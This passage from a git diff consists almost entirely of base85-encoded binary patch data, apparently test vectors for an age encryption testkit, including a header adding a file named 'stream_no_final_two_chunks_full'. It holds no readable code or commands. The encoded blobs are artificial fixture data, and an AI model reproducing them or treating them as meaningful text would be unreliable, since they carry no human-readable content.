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 literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/stream_no_final_two_chunks_full b/lib/rage/age/tests/testdata/testkit/stream_no_final_two_chunks_full new file mode 100644 index 0000000000000000000000000000000000000000..88930eed714280ffe459d58042db79925d6549bf GIT binary patch literal 131515 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 